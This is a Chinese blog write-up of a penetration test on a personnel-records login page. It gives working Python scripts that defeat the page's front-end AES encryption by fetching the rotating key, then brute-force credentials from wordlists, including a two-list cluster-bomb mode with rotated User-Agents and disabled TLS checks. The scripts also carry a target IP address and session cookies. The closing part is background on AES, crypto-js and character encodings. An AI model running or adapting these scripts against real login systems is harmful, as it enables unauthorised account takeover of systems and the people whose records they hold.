前言:
HW前期,某集团公司为加强安全建设,进行安全测试项目,渗透过程中发现很多问题,这里不一一记录。此文仅为记录针对某处前端AES加密,使用python进行算法实现,最后达到暴力破解的目的
这是某人员档案系统的登录后台
我们查看它的网页源代码,发现采用AES前端加密方法(估计是疫情期间临时紧急搭建的平台)
到/a/k文件中获取当前时间的加密字符串,作为key值(key每经过30s左右的时间就会更新一次),进入Encrypt函数进行加密
function Encrypt (text,key) {
let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
iv: CryptoJS.enc.Utf8.parse(key), #密码:key;偏移量iv:key;字符集:utf8
mode: CryptoJS.mode.CBC, #AES加密模式:CBC
padding: CryptoJS.pad.Pkcs7 #填充:pkcs7padding
})
第一步 请求key值:
import ssl
import urllib.request
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
text = data.read().decode('utf8')
print(text)
第二步 加密过程实现:
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 选择pkcs7补全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def main():
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt('admin')
print(cipher_text)
if __name__ == '__main__':
main()
第三步 字典自动化加密过程实现
import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 选择pkcs7补全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(password):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(password)
print(cipher_text)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第四步 构造数据包,发送网络请求
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 选择pkcs7补全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text = cbc_cipher.encrypt(a)
brute(cipher_text)
# 暴力破解
def brute(value):
proxy = {
"https": "https://127.0.0.1:8080",
}
headers = {'Host': 'xx.xx',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
values = 'username=%s' % value + '&password=%s' % value
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)
if __name__ == '__main__':
wordList = open('word.txt','r')
word = wordList.readlines()
for password_list in word:
password = password_list.strip()
encrypted(password)
第五步:双字典cluster bomb模式爆破
import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
class AESCipher(object):
def __init__(self, key, mode, **kwargs):
self.key = key
self.mode = mode
self.kwargs = kwargs
def _get_aes(self):
return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)
def encrypt(self, plain_text):
# 选择pkcs7补全
pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
encrypt_data = self._get_aes().encrypt(pad_pkcs7)
return str(base64.b64encode(encrypt_data), encoding='utf-8')
def encrypted(a,b):
ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
key = data.read().decode('utf8')
cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
cipher_text1 = cbc_cipher.encrypt(a)
cipher_text2 = cbc_cipher.encrypt(b)
brute(cipher_text1,cipher_text2)
# 暴力破解
def brute(value1,value2):
ua_list = [
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
proxy = {
"https": "https://127.0.0.1:8080",
}
ua = random.choice(ua_list)
headers = {'Host': '211.156.195.166',
'User-Agent': ua,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type':'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '75',
'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
'Upgrade-Insecure-Requests':'1'}
data = 'username=%s' % value1 + '&password=%s' % value2
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)
if __name__ == '__main__':
with open('user.txt','r') as userList:
with open('word.txt','r') as passList:
for username in userList.readlines():
for password in passList.readlines():
user = username.strip()
word = password.strip()
encrypted(username,word)
passList.seek(0)
# 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器也是end了,第二次就没有password 在 passList中
# 也就是说 for password in passList.readlines():为空,所以这里的内层循环就不会再被执行了,因此也就是迭代器清零的问题(C ++ itertor 常有)
成果截图:
第六步 线程
:)加不加线程,取决于网站防护,当然,也属个人爱好,由于手里还有其他项目,这里就不赘述了。
另:Github上有针对前端加密的自动化暴力破解的burp插件jsEncrypter ,感兴趣的可以去了解下,个人属实没玩明白,不做评价。
crypto-js 是一个纯 javascript
写的加密算法类库 ,可以非常方便地在 javascript
进行MD5
、SHA1
、SHA2
、SHA3
、RIPEMD-160
哈希散列,进行 AES
、DES
、Rabbit
、RC4
、Triple DES
加解密,我们可以采用 npm install crypto-js --save
进行下载安装,也可以直接去 GitHub下载源码~
高级加密标准(AES,Advanced Encryption Standard)为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图:
值得注意的是密钥的长度,由于对称解密使用的算法是 AES-128-CBC
算法,数据采用 PKCS#7
填充 , 因此这里的 key
需要为16位!
AES加密算法详情请参考:https://blog.csdn.net/qq_28205153/article/details/55798628
字符:在计算机和电信技术中,一个字符是一个单位的字形、类字形单位或符号的基本信息。即一个字符可以是一个中文汉字、一个英文字母、一个阿拉伯数字、一个标点符号等。
字符集:多个字符的集合。例如GB2312是中国国家标准的简体中文字符集,GB2312收录简化汉字(6763个)及一般符号、序号、数字、拉丁字母、日文假名、希腊字母、俄文字母、汉语拼音符号、汉语注音字母,共 7445 个图形字符。
字符编码:把字符集中的字符编码为(映射)指定集合中的某一对象(例如:比特模式、自然数序列、电脉冲),以便文本在计算机中存储和通过通信网络的传递。
字符集和字符编码的关系 :
字符集是书写系统字母与符号的集合,而字符编码则是将字符映射为一特定的字节或字节序列,是一种规则。通常特定的字符集采用特定的编码方式(即一种字符集对应一种字符编码(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了对应的字符编码,但Unicode不是,它采用现代的模型)),因此基本上可以将两者视为同义词。
字符编码的常用种类介绍
第一种:ASCII码
ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。如下图所示:
第二种:GBK 和 GB2312
对于我们来说能在计算机中显示中文字符是至关重要的,然而ASCII表里连一个偏旁部首也没有。所以我们还需要一张关于中文和数字对应的关系表。一个字节只能最多表示256个字符,要处理中文显然一个字节是不够的,所以我们需要采用两个字节来表示,而且还不能和ASCII编码冲突,所以,中国制定了GB2312编码,用来把中文编进去。
第三种:Unicode
但这样的话,就会出现一个问题,各个国家都一套自己的编码,就不可避免会有冲突,这是该怎么办呢?
因此,Unicode应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。
Unicode标准也在不断发展,但最常用的是用两个字节表示一个字符(如果要用到非常偏僻的字符,就需要4个字节)。现代操作系统和大多数编程语言都直接支持Unicode。
现在,分析一下ASCII编码和Unicode编码的区别:
第四种:UTF-8
基于节约的原则,出现了把Unicode编码转化为“可变长编码”的UTF-8编码。UTF-8编码把一个Unicode字符根据不同的数字大小编码成1-6个字节,常用的英文字母被编码成1个字节,汉字通常是3个字节,只有很生僻的字符才会被编码成4-6个字节。如果你要传输的文本包含大量英文字符,用UTF-8编码就能节省空间了。如下所示:
从上面的表格还可以发现,UTF-8编码有一个额外的好处,就是ASCII编码实际上可以被看成是UTF-8编码的一部分,所以,大量只支持ASCII编码的历史遗留软件可以在UTF-8编码下继续工作。
我们总结一下现在计算机系统通用的字符编码工作方式:
在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。
用记事本编辑的时候,从文件读取的UTF-8字符被转换为Unicode字符到内存里,编辑完成后,保存的时候再把Unicode转换为UTF-8保存到文件。如下图:
文章是写代码之余做笔记来的,略显简略粗糙。代码不够精简之处,请各位python巨佬多多指教,评论区多多留言,拜谢!
https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html